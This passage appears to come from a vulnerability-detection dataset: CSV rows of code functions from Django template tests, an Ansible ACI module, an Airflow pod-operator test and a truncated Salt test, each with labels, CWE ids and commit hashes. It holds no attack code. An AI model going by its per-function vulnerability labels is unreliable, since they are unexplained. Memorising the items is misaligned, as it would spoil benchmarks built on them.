                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/==/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/,/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1,2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/aci/aci_contract_subject.py,0,"def main():
    argument_spec = aci_argument_spec()
    argument_spec.update(
        contract=dict(type='str', aliases=['contract_name']),  # Not required for querying all objects
        subject=dict(type='str', aliases=['contract_subject', 'name', 'subject_name']),  # Not required for querying all objects
        tenant=dict(type='str', aliases=['tenant_name']),  # Not required for querying all objects
        priority=dict(type='str', choices=['unspecified', 'level1', 'level2', 'level3']),
        reverse_filter=dict(type='bool'),
        dscp=dict(type='str', aliases=['target'],
                  choices=['AF11', 'AF12', 'AF13', 'AF21', 'AF22', 'AF23', 'AF31', 'AF32', 'AF33', 'AF41', 'AF42', 'AF43',
                           'CS0', 'CS1', 'CS2', 'CS3', 'CS4', 'CS5', 'CS6', 'CS7', 'EF', 'VA', 'unspecified']),
        description=dict(type='str', aliases=['descr']),
        consumer_match=dict(type='str', choices=['all', 'at_least_one', 'at_most_one', 'none']),
        provider_match=dict(type='str', choices=['all', 'at_least_one', 'at_most_one', 'none']),
        state=dict(type='str', default='present', choices=['absent', 'present', 'query']),
        directive=dict(type='str', removed_in_version='2.4'),  # Deprecated starting from v2.4
        filter=dict(type='str', aliases=['filter_name'], removed_in_version='2.4'),  # Deprecated starting from v2.4
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ['state', 'absent', ['contract', 'subject', 'tenant']],
            ['state', 'present', ['contract', 'subject', 'tenant']],
        ],
    )

    aci = ACIModule(module)

    subject = module.params['subject']
    priority = module.params['priority']
    reverse_filter = aci.boolean(module.params['reverse_filter'])
    contract = module.params['contract']
    dscp = module.params['dscp']
    description = module.params['description']
    filter_name = module.params['filter']
    directive = module.params['directive']
    consumer_match = module.params['consumer_match']
    if consumer_match is not None:
        consumer_match = MATCH_MAPPING[consumer_match]
    provider_match = module.params['provider_match']
    if provider_match is not None:
        provider_match = MATCH_MAPPING[provider_match]
    state = module.params['state']
    tenant = module.params['tenant']

    if directive is not None or filter_name is not None:
        module.fail_json(msg=""Managing Contract Subjects to Filter bindings has been moved to module 'aci_subject_bind_filter'"")

    aci.construct_url(
        root_class=dict(
            aci_class='fvTenant',
            aci_rn='tn-{0}'.format(tenant),
            module_object=tenant,
            target_filter={'name': tenant},
        ),
        subclass_1=dict(
            aci_class='vzBrCP',
            aci_rn='brc-{0}'.format(contract),
            module_object=contract,
            target_filter={'name': contract},
        ),
        subclass_2=dict(
            aci_class='vzSubj',
            aci_rn='subj-{0}'.format(subject),
            module_object=subject,
            target_filter={'name': subject},
        ),
    )

    aci.get_existing()

    if state == 'present':
        aci.payload(
            aci_class='vzSubj',
            class_config=dict(
                name=subject,
                prio=priority,
                revFltPorts=reverse_filter,
                targetDscp=dscp,
                consMatchT=consumer_match,
                provMatchT=provider_match,
                descr=description,
            ),
        )

        aci.get_diff(aci_class='vzSubj')

        aci.post_config()

    elif state == 'absent':
        aci.delete_config()

    aci.exit_json()",,ansible/ansible,d8ba8c03f3b9f812e88cdb1829dcf59a107ad38a,"def main():
    argument_spec = aci_argument_spec()
    argument_spec.update(
        contract=dict(type='str', aliases=['contract_name']),  # Not required for querying all objects
        subject=dict(type='str', aliases=['contract_subject', 'name', 'subject_name']),  # Not required for querying all objects
        tenant=dict(type='str', aliases=['tenant_name']),  # Not required for querying all objects
        priority=dict(type='str', choices=['unspecified', 'level1', 'level2', 'level3']),
        reverse_filter=dict(type='bool'),
        dscp=dict(type='str', aliases=['target'],
                  choices=['AF11', 'AF12', 'AF13', 'AF21', 'AF22', 'AF23', 'AF31', 'AF32', 'AF33', 'AF41', 'AF42', 'AF43',
                           'CS0', 'CS1', 'CS2', 'CS3', 'CS4', 'CS5', 'CS6', 'CS7', 'EF', 'VA', 'unspecified']),
        description=dict(type='str', aliases=['descr']),
        consumer_match=dict(type='str', choices=['all', 'at_least_one', 'at_most_one', 'none']),
        provider_match=dict(type='str', choices=['all', 'at_least_one', 'at_most_one', 'none']),
        state=dict(type='str', default='present', choices=['absent', 'present', 'query']),
        directive=dict(type='str', removed_in_version='2.4'),  # Deprecated starting from v2.4
        filter=dict(type='str', aliases=['filter_name'], removed_in_version='2.4'),  # Deprecated starting from v2.4
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ['state', 'absent', ['contract', 'subject', 'tenant']],
            ['state', 'present', ['contract', 'subject', 'tenant']],
        ],
    )

    aci = ACIModule(module)

    subject = module.params['subject']
    priority = module.params['priority']
    reverse_filter = aci.boolean(module.params['reverse_filter'])
    contract = module.params['contract']
    dscp = module.params['dscp']
    description = module.params['description']
    filter_name = module.params['filter']
    directive = module.params['directive']
    consumer_match = module.params['consumer_match']
    if consumer_match is not None:
        consumer_match = MATCH_MAPPING[consumer_match]
    provider_match = module.params['provider_match']
    if provider_match is not None:
        provider_match = MATCH_MAPPING[provider_match]
    state = module.params['state']
    tenant = module.params['tenant']

    if directive is not None or filter_name is not None:
        module.fail_json(msg=""Managing Contract Subjects to Filter bindings has been moved to module 'aci_subject_bind_filter'"")

    aci.construct_url(
        root_class=dict(
            aci_class='fvTenant',
            aci_rn='tn-{0}'.format(tenant),
            filter_target='eq(fvTenant.name, ""{0}"")'.format(tenant),
            module_object=tenant,
        ),
        subclass_1=dict(
            aci_class='vzBrCP',
            aci_rn='brc-{0}'.format(contract),
            filter_target='eq(vzBrCP.name, ""{0}"")'.format(contract),
            module_object=contract,
        ),
        subclass_2=dict(
            aci_class='vzSubj',
            aci_rn='subj-{0}'.format(subject),
            filter_target='eq(vzSubj.name, ""{0}"")'.format(subject),
            module_object=subject,
        ),
    )

    aci.get_existing()

    if state == 'present':
        aci.payload(
            aci_class='vzSubj',
            class_config=dict(
                name=subject,
                prio=priority,
                revFltPorts=reverse_filter,
                targetDscp=dscp,
                consMatchT=consumer_match,
                provMatchT=provider_match,
                descr=description,
            ),
        )

        aci.get_diff(aci_class='vzSubj')

        aci.post_config()

    elif state == 'absent':
        aci.delete_config()

    aci.exit_json()"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/operators/test_pod.py,1,"def test_execute_async_callbacks(self):
        from airflow.providers.cncf.kubernetes.callbacks import ExecutionMode
        from tests.providers.cncf.kubernetes.test_callbacks import (
            MockKubernetesPodOperatorCallback,
            MockWrapper,
        )

        MockWrapper.reset()
        mock_callbacks = MockWrapper.mock_callbacks
        remote_pod_mock = MagicMock()
        remote_pod_mock.status.phase = ""Succeeded""
        self.await_pod_mock.return_value = remote_pod_mock

        k = KubernetesPodOperator(
            namespace=""default"",
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test"",
            task_id=""task"",
            do_xcom_push=False,
            callbacks=MockKubernetesPodOperatorCallback,
        )
        k.trigger_reentry(
            context=create_context(k),
            event={
                ""status"": ""success"",
                ""message"": TEST_SUCCESS_MESSAGE,
                ""name"": TEST_NAME,
                ""namespace"": TEST_NAMESPACE,
            },
        )

        # check on_operator_resuming callback
        mock_callbacks.on_pod_cleanup.assert_called_once()
        assert mock_callbacks.on_pod_cleanup.call_args.kwargs == {
            ""client"": k.client,
            ""mode"": ExecutionMode.SYNC,
            ""pod"": remote_pod_mock,
        }

        # check on_pod_cleanup callback
        mock_callbacks.on_pod_cleanup.assert_called_once()
        assert mock_callbacks.on_pod_cleanup.call_args.kwargs == {
            ""client"": k.client,
            ""mode"": ExecutionMode.SYNC,
            ""pod"": remote_pod_mock,
        }",CWE-703,apache/airflow,032d27640b5124e8fd85ba93042b50989881895a,"def test_execute_async_callbacks(self):
        from airflow.providers.cncf.kubernetes.callbacks import ExecutionMode
        from tests.providers.cncf.kubernetes.test_callbacks import (
            MockKubernetesPodOperatorCallback,
            MockWrapper,
        )

        MockWrapper.reset()
        mock_callbacks = MockWrapper.mock_callbacks
        remote_pod_mock = MagicMock()
        remote_pod_mock.status.phase = ""Succeeded""
        self.await_pod_mock.return_value = remote_pod_mock

        k = KubernetesPodOperator(
            namespace=""default"",
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test"",
            task_id=""task"",
            do_xcom_push=False,
            callbacks=MockKubernetesPodOperatorCallback,
        )
        k.trigger_reentry(
            context=create_context(k),
            event={
                ""status"": ""success"",
                ""message"": TEST_SUCCESS_MESSAGE,
                ""name"": TEST_NAME,
                ""namespace"": TEST_NAMESPACE,
            },
        )

        # check on_operator_resuming callback
        mock_callbacks.on_pod_cleanup.assert_called_once()
        assert mock_callbacks.on_pod_cleanup.call_args.kwargs == {
            ""client"": k.client,
            ""mode"": ExecutionMode.SYNC,
            ""pod"": remote_pod_mock,
        }

        # check on_pod_cleanup callback
        mock_callbacks.on_pod_cleanup.assert_called_once()
        assert mock_callbacks.on_pod_cleanup.call_args.kwargs == {
            ""client"": k.client,
            ""mode"": ExecutionMode.SYNC,
            ""pod"": remote_pod_mock,
        }"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_chocolatey.py,1,"def test_chocolatey_version_refresh():
    context = {""chocolatey._version"": ""0.9.9""}
    mock_find = MagicMock(return_value=""some_path"")
    mock_run = MagicMock(return_value=""2.2.0"")
    with (
        patch.dict(chocolatey.__context__, context),
        patch.object(chocolatey, ""_find_chocolatey"", mock_find),
        patch.dict(chocolatey.__salt__, {""cmd.run"": mock_run}),
    ):
